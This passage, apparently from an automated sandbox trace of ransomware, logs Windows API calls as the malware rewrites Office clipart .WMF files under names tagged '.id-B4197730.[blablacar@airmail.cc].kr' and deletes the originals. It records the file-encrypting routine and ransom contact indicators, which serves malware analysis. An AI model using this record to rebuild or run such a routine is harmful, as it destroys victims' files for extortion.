lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.164] lstrlenW (lpString=".7z") returned 3 [0186.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.164] lstrlenW (lpString=".dbf") returned 4 [0186.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.164] lstrlenW (lpString=".1cd") returned 4 [0186.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 68 [0186.164] lstrlenW (lpString=".jpg") returned 4 [0186.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.164] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.164] lstrlenW (lpString="DD00449_.WMF") returned 12 [0186.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.451] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=9992) returned 1 [0186.451] CloseHandle (hObject=0x538) returned 1 [0186.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0186.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.451] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.452] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.452] GetLastError () returned 0x0 [0186.452] ReadFile (in: hFile=0x538, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2708, lpOverlapped=0x0) returned 1 [0186.454] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2710, lpOverlapped=0x0) returned 1 [0186.455] ReadFile (in: hFile=0x538, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.455] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.455] SetEndOfFile (hFile=0x51c) returned 1 [0186.455] CloseHandle (hObject=0x51c) returned 1 [0186.455] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.456] SetEndOfFile (hFile=0x538) returned 1 [0186.458] CloseHandle (hObject=0x538) returned 1 [0186.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0186.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.982] lstrlenW (lpString=".doc") returned 4 [0186.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.982] lstrlenW (lpString=".docx") returned 5 [0186.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.982] lstrlenW (lpString=".pdf") returned 4 [0186.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.982] lstrlenW (lpString=".xls") returned 4 [0186.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.982] lstrlenW (lpString=".xlsx") returned 5 [0186.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.983] lstrlenW (lpString=".ppt") returned 4 [0186.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.983] lstrlenW (lpString=".zip") returned 4 [0186.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.983] lstrlenW (lpString=".rar") returned 4 [0186.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.983] lstrlenW (lpString=".bz2") returned 4 [0186.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.983] lstrlenW (lpString=".7z") returned 3 [0186.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.983] lstrlenW (lpString=".dbf") returned 4 [0186.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.983] lstrlenW (lpString=".1cd") returned 4 [0186.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.983] lstrlenW (lpString=".jpg") returned 4 [0186.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.983] lstrlenW (lpString=".doc") returned 4 [0186.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.983] lstrlenW (lpString=".docx") returned 5 [0186.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.983] lstrlenW (lpString=".pdf") returned 4 [0186.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.983] lstrlenW (lpString=".xls") returned 4 [0186.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.983] lstrlenW (lpString=".xlsx") returned 5 [0186.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.984] lstrlenW (lpString=".ppt") returned 4 [0186.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.984] lstrlenW (lpString=".zip") returned 4 [0186.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.984] lstrlenW (lpString=".rar") returned 4 [0186.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.984] lstrlenW (lpString=".bz2") returned 4 [0186.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.984] lstrlenW (lpString=".7z") returned 3 [0186.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.984] lstrlenW (lpString=".dbf") returned 4 [0186.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.984] lstrlenW (lpString=".1cd") returned 4 [0186.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0186.984] lstrlenW (lpString=".jpg") returned 4 [0186.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.984] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.984] lstrlenW (lpString="DD01160_.WMF") returned 12 [0186.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0186.985] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2228) returned 1 [0186.985] CloseHandle (hObject=0x518) returned 1 [0186.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0186.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0186.986] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.986] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0186.987] GetLastError () returned 0x0 [0186.987] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0186.988] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0186.989] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0186.989] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0186.990] SetEndOfFile (hFile=0x51c) returned 1 [0186.994] CloseHandle (hObject=0x51c) returned 1 [0186.994] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0186.994] SetEndOfFile (hFile=0x518) returned 1 [0186.997] CloseHandle (hObject=0x518) returned 1 [0186.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.998] lstrlenW (lpString=".doc") returned 4 [0186.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.998] lstrlenW (lpString=".docx") returned 5 [0186.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.998] lstrlenW (lpString=".pdf") returned 4 [0186.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.998] lstrlenW (lpString=".xls") returned 4 [0186.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.998] lstrlenW (lpString=".xlsx") returned 5 [0186.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.998] lstrlenW (lpString=".ppt") returned 4 [0186.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.998] lstrlenW (lpString=".zip") returned 4 [0186.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.998] lstrlenW (lpString=".rar") returned 4 [0186.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.998] lstrlenW (lpString=".bz2") returned 4 [0186.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.998] lstrlenW (lpString=".7z") returned 3 [0186.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.998] lstrlenW (lpString=".dbf") returned 4 [0186.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.999] lstrlenW (lpString=".1cd") returned 4 [0186.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.999] lstrlenW (lpString=".jpg") returned 4 [0186.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.999] lstrlenW (lpString=".doc") returned 4 [0186.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.999] lstrlenW (lpString=".docx") returned 5 [0186.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.999] lstrlenW (lpString=".pdf") returned 4 [0186.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.999] lstrlenW (lpString=".xls") returned 4 [0186.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.999] lstrlenW (lpString=".xlsx") returned 5 [0186.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.999] lstrlenW (lpString=".ppt") returned 4 [0186.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.999] lstrlenW (lpString=".zip") returned 4 [0186.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.999] lstrlenW (lpString=".rar") returned 4 [0186.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.999] lstrlenW (lpString=".bz2") returned 4 [0186.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.999] lstrlenW (lpString=".7z") returned 3 [0186.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0186.999] lstrlenW (lpString=".dbf") returned 4 [0186.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0187.000] lstrlenW (lpString=".1cd") returned 4 [0187.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0187.000] lstrlenW (lpString=".jpg") returned 4 [0187.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.000] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0187.000] lstrlenW (lpString="DD01162_.WMF") returned 12 [0187.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0187.001] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2300) returned 1 [0187.001] CloseHandle (hObject=0x518) returned 1 [0187.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0187.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0187.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0187.002] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.002] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0187.002] GetLastError () returned 0x0 [0187.002] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0187.004] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x900, lpOverlapped=0x0) returned 1 [0187.005] ReadFile (in: hFile=0x518, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.005] WriteFile (in: hFile=0x51c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.005] SetEndOfFile (hFile=0x51c) returned 1 [0187.005] CloseHandle (hObject=0x51c) returned 1 [0187.005] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.005] SetEndOfFile (hFile=0x518) returned 1 [0187.007] CloseHandle (hObject=0x518) returned 1 [0187.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0187.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0187.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.010] lstrlenW (lpString=".doc") returned 4 [0187.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.010] lstrlenW (lpString=".docx") returned 5 [0187.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.011] lstrlenW (lpString=".pdf") returned 4 [0187.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.011] lstrlenW (lpString=".xls") returned 4 [0187.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.011] lstrlenW (lpString=".xlsx") returned 5 [0187.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.011] lstrlenW (lpString=".ppt") returned 4 [0187.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.011] lstrlenW (lpString=".zip") returned 4 [0187.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.011] lstrlenW (lpString=".rar") returned 4 [0187.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.011] lstrlenW (lpString=".bz2") returned 4 [0187.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.011] lstrlenW (lpString=".7z") returned 3 [0187.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.011] lstrlenW (lpString=".dbf") returned 4 [0187.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.011] lstrlenW (lpString=".1cd") returned 4 [0187.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.011] lstrlenW (lpString=".jpg") returned 4 [0187.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.011] lstrlenW (lpString=".doc") returned 4 [0187.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.011] lstrlenW (lpString=".docx") returned 5 [0187.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.012] lstrlenW (lpString=".pdf") returned 4 [0187.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.012] lstrlenW (lpString=".xls") returned 4 [0187.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.012] lstrlenW (lpString=".xlsx") returned 5 [0187.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.012] lstrlenW (lpString=".ppt") returned 4 [0187.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.012] lstrlenW (lpString=".zip") returned 4 [0187.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.012] lstrlenW (lpString=".rar") returned 4 [0187.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.012] lstrlenW (lpString=".bz2") returned 4 [0187.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString=".7z") returned 3 [0187.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0187.310] lstrlenW (lpString=".dbf") returned 4 [0187.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 